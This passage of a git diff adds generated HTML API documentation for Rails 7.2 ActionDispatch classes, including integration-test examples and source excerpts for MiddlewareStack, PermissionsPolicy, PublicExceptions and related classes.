+      end
+    end
+
+    def login(who)
+      open_session do |sess|
+        sess.extend(CustomAssertions)
+        who = people(who)
+        sess.post "/login", params: { username: who.username,
+          password: who.password }
+        assert(...)
+      end
+    end
+end
+
+ +

Another longer example would be:

+ +

A simple integration test that exercises multiple controllers:

+ +
require "test_helper"
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  test "login and browse site" do
+    # login via https
+    https!
+    get "/login"
+    assert_response :success
+
+    post "/login", params: { username: users(:david).username, password: users(:david).password }
+    follow_redirect!
+    assert_equal '/welcome', path
+    assert_equal 'Welcome david!', flash[:notice]
+
+    https!(false)
+    get "/articles/all"
+    assert_response :success
+    assert_select 'h1', 'Articles'
+  end
+end
+
+ +

As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.

+ +

Here’s an example of multiple sessions and custom DSL in an integration test

+ +
require "test_helper"
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  test "login and browse site" do
+    # User david logs in
+    david = login(:david)
+    # User guest logs in
+    guest = login(:guest)
+
+    # Both are now available in different sessions
+    assert_equal 'Welcome david!', david.flash[:notice]
+    assert_equal 'Welcome guest!', guest.flash[:notice]
+
+    # User david can browse site
+    david.browses_site
+    # User guest can browse site as well
+    guest.browses_site
+
+    # Continue with other assertions
+  end
+
+  private
+
+    module CustomDsl
+      def browses_site
+        get "/products/all"
+        assert_response :success
+        assert_select 'h1', 'Products'
+      end
+    end
+
+    def login(user)
+      open_session do |sess|
+        sess.extend(CustomDsl)
+        u = users(user)
+        sess.https!
+        sess.post "/login", params: { username: u.username, password: u.password }
+        assert_equal '/welcome', sess.path
+        sess.https!(false)
+      end
+    end
+end
+
+ +

See the [request helpers documentation] (ActionDispatch::Integration::RequestHelpers) for help on how to use get, etc.

+ +

Changing the request encoding

+ +

You can also test your JSON API easily by setting what the request should be encoded as:

+ +
require "test_helper"
+
+class ApiTest < ActionDispatch::IntegrationTest
+  test "creates articles" do
+    assert_difference -> { Article.count } do
+      post articles_path, params: { article: { title: "Ahoy!" } }, as: :json
+    end
+
+    assert_response :success
+    assert_equal({ id: Article.last.id, title: "Ahoy!" }, response.parsed_body)
+  end
+end
+
+ +

The as option passes an β€œapplication/json” Accept header (thereby setting the request format to JSON unless overridden), sets the content type to β€œapplication/json” and encodes the parameters as JSON.

+ +

Calling TestResponse#parsed_body on the response parses the response body based on the last response MIME type.

+ +

Out of the box, only :json is supported. But for any custom MIME types you’ve registered, you can add your own encoders with:

+ +
ActionDispatch::IntegrationTest.register_encoder :wibble,
+  param_encoder: -> params { params.to_wibble },
+  response_parser: -> body { body }
+
+ +

Where param_encoder defines how the params should be encoded and response_parser defines how the response body should be parsed through TestResponse#parsed_body.

+ +

Consult the Rails Testing Guide for more.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/IntegrationTest/Behavior.html b/src/7.2/classes/ActionDispatch/IntegrationTest/Behavior.html new file mode 100644 index 0000000000..14ff125b75 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/IntegrationTest/Behavior.html @@ -0,0 +1,191 @@ +--- +title: ActionDispatch::IntegrationTest::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + app() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 683
+      def app
+        super || self.class.app
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + document_root_element() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 687
+      def document_root_element
+        html_document.root
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/IntegrationTest/Behavior/ClassMethods.html b/src/7.2/classes/ActionDispatch/IntegrationTest/Behavior/ClassMethods.html new file mode 100644 index 0000000000..8b1774fb2f --- /dev/null +++ b/src/7.2/classes/ActionDispatch/IntegrationTest/Behavior/ClassMethods.html @@ -0,0 +1,183 @@ +--- +title: ActionDispatch::IntegrationTest::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + app() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 666
+        def app
+          if defined?(@@app) && @@app
+            @@app
+          else
+            ActionDispatch.test_app
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + app=(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 674
+        def app=(app)
+          @@app = app
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_encoder(*args, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 678
+        def register_encoder(*args, **options)
+          RequestEncoder.register_encoder(*args, **options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/IntegrationTest/UrlOptions.html b/src/7.2/classes/ActionDispatch/IntegrationTest/UrlOptions.html new file mode 100644 index 0000000000..cbbee32989 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/IntegrationTest/UrlOptions.html @@ -0,0 +1,101 @@ +--- +title: ActionDispatch::IntegrationTest::UrlOptions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + url_options() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/integration.rb, line 645
+      def url_options
+        integration_session.url_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey.html b/src/7.2/classes/ActionDispatch/Journey.html new file mode 100644 index 0000000000..ee1be5020e --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey.html @@ -0,0 +1,109 @@ +--- +title: ActionDispatch::Journey +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Format.html b/src/7.2/classes/ActionDispatch/Journey/Format.html new file mode 100644 index 0000000000..cfcb881b0e --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Format.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Journey::Format +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Formatter.html b/src/7.2/classes/ActionDispatch/Journey/Formatter.html new file mode 100644 index 0000000000..ff22a064cc --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Formatter.html @@ -0,0 +1,75 @@ +--- +title: ActionDispatch::Journey::Formatter +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Formatter/MissingRoute.html b/src/7.2/classes/ActionDispatch/Journey/Formatter/MissingRoute.html new file mode 100644 index 0000000000..9ce0ac7508 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Formatter/MissingRoute.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Journey::Formatter::MissingRoute +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Formatter/RouteWithParams.html b/src/7.2/classes/ActionDispatch/Journey/Formatter/RouteWithParams.html new file mode 100644 index 0000000000..b8312fb7c0 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Formatter/RouteWithParams.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Journey::Formatter::RouteWithParams +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/classes/ActionDispatch/Journey/Parser.html b/src/7.2/classes/ActionDispatch/Journey/Parser.html similarity index 100% rename from src/classes/ActionDispatch/Journey/Parser.html rename to src/7.2/classes/ActionDispatch/Journey/Parser.html diff --git a/src/7.2/classes/ActionDispatch/Journey/Route.html b/src/7.2/classes/ActionDispatch/Journey/Route.html new file mode 100644 index 0000000000..fecb7800bf --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Route.html @@ -0,0 +1,73 @@ +--- +title: ActionDispatch::Journey::Route +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers.html b/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers.html new file mode 100644 index 0000000000..ec3581ae11 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers.html @@ -0,0 +1,69 @@ +--- +title: ActionDispatch::Journey::Route::VerbMatchers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers/All.html b/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers/All.html new file mode 100644 index 0000000000..809619a651 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers/All.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Journey::Route::VerbMatchers::All +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers/Unknown.html b/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers/Unknown.html new file mode 100644 index 0000000000..d3abf0ff9d --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Journey/Route/VerbMatchers/Unknown.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::Journey::Route::VerbMatchers::Unknown +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/LogSubscriber.html b/src/7.2/classes/ActionDispatch/LogSubscriber.html new file mode 100644 index 0000000000..ac89e18619 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/LogSubscriber.html @@ -0,0 +1,118 @@ +--- +title: ActionDispatch::LogSubscriber +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + redirect(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/log_subscriber.rb, line 7
+    def redirect(event)
+      payload = event.payload
+
+      info { "Redirected to #{payload[:location]}" }
+
+      info do
+        status = payload[:status]
+
+        message = +"Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
+        message << "\n\n" if defined?(Rails.env) && Rails.env.development?
+
+        message
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/MiddlewareStack.html b/src/7.2/classes/ActionDispatch/MiddlewareStack.html new file mode 100644 index 0000000000..27a817d4ef --- /dev/null +++ b/src/7.2/classes/ActionDispatch/MiddlewareStack.html @@ -0,0 +1,836 @@ +--- +title: ActionDispatch::MiddlewareStack +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch MiddlewareStack

+ +

Read more about Rails middleware stack in the guides.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + middlewares
+ + + + +

Class Public methods

+ +
+

+ + new(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 76
+    def initialize(*args)
+      @middlewares = []
+      yield(self) if block_given?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + [](i) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 93
+    def [](i)
+      middlewares[i]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build(app = nil, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 166
+    def build(app = nil, &block)
+      instrumenting = ActiveSupport::Notifications.notifier.listening?(InstrumentationProxy::EVENT_NAME)
+      middlewares.freeze.reverse.inject(app || block) do |a, e|
+        if instrumenting
+          e.build_instrumented(a)
+        else
+          e.build(a)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(target) + +

+ + +
+

Deletes a middleware from the middleware stack.

+ +

Returns the array of middlewares not including the deleted item, or returns nil if the target is not found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 131
+    def delete(target)
+      middlewares.reject! { |m| m.name == target.name }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete!(target) + +

+ + +
+

Deletes a middleware from the middleware stack.

+ +

Returns the array of middlewares not including the deleted item, or raises RuntimeError if the target is not found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 139
+    def delete!(target)
+      delete(target) || (raise "No such middleware to remove: #{target.inspect}")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 81
+    def each(&block)
+      @middlewares.each(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 102
+    def initialize_copy(other)
+      self.middlewares = other.middlewares.dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert(index, klass, *args, &block) + +

+ + +
+ +
+ + + +
+ Also aliased as: insert_before +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 106
+    def insert(index, klass, *args, &block)
+      index = assert_index(index, :before)
+      middlewares.insert(index, build_middleware(klass, args, block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_after(index, *args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 114
+    def insert_after(index, *args, &block)
+      index = assert_index(index, :after)
+      insert(index + 1, *args, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_before(index, klass, *args, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: insert +
+ + + + +
+ +
+

+ + last() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 89
+    def last
+      middlewares.last
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + move(target, source) + +

+ + +
+ +
+ + + +
+ Also aliased as: move_before +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 143
+    def move(target, source)
+      source_index = assert_index(source, :before)
+      source_middleware = middlewares.delete_at(source_index)
+
+      target_index = assert_index(target, :before)
+      middlewares.insert(target_index, source_middleware)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + move_after(target, source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 153
+    def move_after(target, source)
+      source_index = assert_index(source, :after)
+      source_middleware = middlewares.delete_at(source_index)
+
+      target_index = assert_index(target, :after)
+      middlewares.insert(target_index + 1, source_middleware)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + move_before(target, source) + +

+ + +
+ +
+ + + + + +
+ Alias for: move +
+ + + + +
+ +
+

+ + size() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 85
+    def size
+      middlewares.size
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + swap(target, *args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 120
+    def swap(target, *args, &block)
+      index = assert_index(target, :before)
+      insert(index, *args, &block)
+      middlewares.delete_at(index + 1)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unshift(klass, *args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 97
+    def unshift(klass, *args, &block)
+      middlewares.unshift(build_middleware(klass, args, block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use(klass, *args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 161
+    def use(klass, *args, &block)
+      middlewares.push(build_middleware(klass, args, block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/MiddlewareStack/InstrumentationProxy.html b/src/7.2/classes/ActionDispatch/MiddlewareStack/InstrumentationProxy.html new file mode 100644 index 0000000000..18a5746bb5 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/MiddlewareStack/InstrumentationProxy.html @@ -0,0 +1,174 @@ +--- +title: ActionDispatch::MiddlewareStack::InstrumentationProxy +layout: default +--- +
+ +
+
+ +
+ +

This class is used to instrument the execution of a single middleware. It proxies the call method transparently and instruments the method call.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
EVENT_NAME="process_middleware.action_dispatch"
+ + + + + + +

Class Public methods

+ +
+

+ + new(middleware, class_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 57
+      def initialize(middleware, class_name)
+        @middleware = middleware
+
+        @payload = {
+          middleware: class_name,
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 65
+      def call(env)
+        ActiveSupport::Notifications.instrument(EVENT_NAME, @payload) do
+          @middleware.call(env)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/MiddlewareStack/Middleware.html b/src/7.2/classes/ActionDispatch/MiddlewareStack/Middleware.html new file mode 100644 index 0000000000..42a01dcc3b --- /dev/null +++ b/src/7.2/classes/ActionDispatch/MiddlewareStack/Middleware.html @@ -0,0 +1,344 @@ +--- +title: ActionDispatch::MiddlewareStack::Middleware +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + args
+ [R] + block
+ [R] + klass
+ + + + +

Class Public methods

+ +
+

+ + new(klass, args, block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 18
+      def initialize(klass, args, block)
+        @klass = klass
+        @args  = args
+        @block = block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(middleware) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 26
+      def ==(middleware)
+        case middleware
+        when Middleware
+          klass == middleware.klass
+        when Module
+          klass == middleware
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 43
+      def build(app)
+        klass.new(app, *args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_instrumented(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 47
+      def build_instrumented(app)
+        InstrumentationProxy.new(build(app), inspect)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 35
+      def inspect
+        if klass.is_a?(Module)
+          klass.to_s
+        else
+          klass.class.to_s
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/stack.rb, line 24
+      def name; klass.name; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/MissingController.html b/src/7.2/classes/ActionDispatch/MissingController.html new file mode 100644 index 0000000000..ae4482c2bb --- /dev/null +++ b/src/7.2/classes/ActionDispatch/MissingController.html @@ -0,0 +1,60 @@ +--- +title: ActionDispatch::MissingController +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/PermissionsPolicy.html b/src/7.2/classes/ActionDispatch/PermissionsPolicy.html new file mode 100644 index 0000000000..f7fbb03a0d --- /dev/null +++ b/src/7.2/classes/ActionDispatch/PermissionsPolicy.html @@ -0,0 +1,247 @@ +--- +title: ActionDispatch::PermissionsPolicy +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch PermissionsPolicy

+ +

Configures the HTTP Feature-Policy response header to specify which browser features the current document and its iframes can use.

+ +

Example global policy:

+ +
Rails.application.config.permissions_policy do |policy|
+  policy.camera      :none
+  policy.gyroscope   :none
+  policy.microphone  :none
+  policy.usb         :none
+  policy.fullscreen  :self
+  policy.payment     :self, "https://secure.example.com"
+end
+
+ +

The Feature-Policy header has been renamed to Permissions-Policy. The Permissions-Policy requires a different implementation and isn’t yet supported by all browsers. To avoid having to rename this middleware in the future we use the new name for the middleware but keep the old header name and implementation for now.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + directives
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 111
+    def initialize
+      @directives = {}
+      yield self if block_given?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + build(context = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 130
+    def build(context = nil)
+      build_directives(context).compact.join("; ")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 116
+    def initialize_copy(other)
+      @directives = other.directives.deep_dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/PermissionsPolicy/Middleware.html b/src/7.2/classes/ActionDispatch/PermissionsPolicy/Middleware.html new file mode 100644 index 0000000000..01921d9cd3 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/PermissionsPolicy/Middleware.html @@ -0,0 +1,163 @@ +--- +title: ActionDispatch::PermissionsPolicy::Middleware +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 33
+      def initialize(app)
+        @app = app
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 37
+      def call(env)
+        _, headers, _ = response = @app.call(env)
+
+        return response if policy_present?(headers)
+
+        request = ActionDispatch::Request.new(env)
+
+        if policy = request.permissions_policy
+          headers[ActionDispatch::Constants::FEATURE_POLICY] = policy.build(request.controller_instance)
+        end
+
+        if policy_empty?(policy)
+          headers.delete(ActionDispatch::Constants::FEATURE_POLICY)
+        end
+
+        response
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/PermissionsPolicy/Request.html b/src/7.2/classes/ActionDispatch/PermissionsPolicy/Request.html new file mode 100644 index 0000000000..22c10e4005 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/PermissionsPolicy/Request.html @@ -0,0 +1,153 @@ +--- +title: ActionDispatch::PermissionsPolicy::Request +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
POLICY="action_dispatch.permissions_policy"
+ + + + + + + +

Instance Public methods

+ +
+

+ + permissions_policy() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 68
+      def permissions_policy
+        get_header(POLICY)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permissions_policy=(policy) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/permissions_policy.rb, line 72
+      def permissions_policy=(policy)
+        set_header(POLICY, policy)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/PublicExceptions.html b/src/7.2/classes/ActionDispatch/PublicExceptions.html new file mode 100644 index 0000000000..b4770d1ff5 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/PublicExceptions.html @@ -0,0 +1,182 @@ +--- +title: ActionDispatch::PublicExceptions +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch PublicExceptions

+ +

When called, this middleware renders an error page. By default if an HTML response is expected it will render static error pages from the /public directory. For example when this middleware receives a 500 response it will render the template found in /public/500.html. If an internationalized locale is set, this middleware will attempt to render the template in /public/500.<locale>.html. If an internationalized template is not found it will fall back on /public/500.html.

+ +

When a request with a content type other than HTML is made, this middleware will attempt to convert error information into the appropriate response type.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + public_path
+ + + + +

Class Public methods

+ +
+

+ + new(public_path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/public_exceptions.rb, line 21
+    def initialize(public_path)
+      @public_path = public_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/public_exceptions.rb, line 25
+    def call(env)
+      request      = ActionDispatch::Request.new(env)
+      status       = request.path_info[1..-1].to_i
+      begin
+        content_type = request.formats.first
+      rescue ActionDispatch::Http::MimeNegotiation::InvalidType
+        content_type = Mime[:text]
+      end
+      body = { status: status, error: Rack::Utils::HTTP_STATUS_CODES.fetch(status, Rack::Utils::HTTP_STATUS_CODES[500]) }
+
+      render(status, content_type, body)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Reloader.html b/src/7.2/classes/ActionDispatch/Reloader.html new file mode 100644 index 0000000000..87107d41da --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Reloader.html @@ -0,0 +1,70 @@ +--- +title: ActionDispatch::Reloader +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Reloader

+ +

ActionDispatch::Reloader wraps the request with callbacks provided by ActiveSupport::Reloader, intended to assist with code reloading during development.

+ +

ActionDispatch::Reloader is included in the middleware stack only if reloading is enabled, which it is by the default in development mode.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
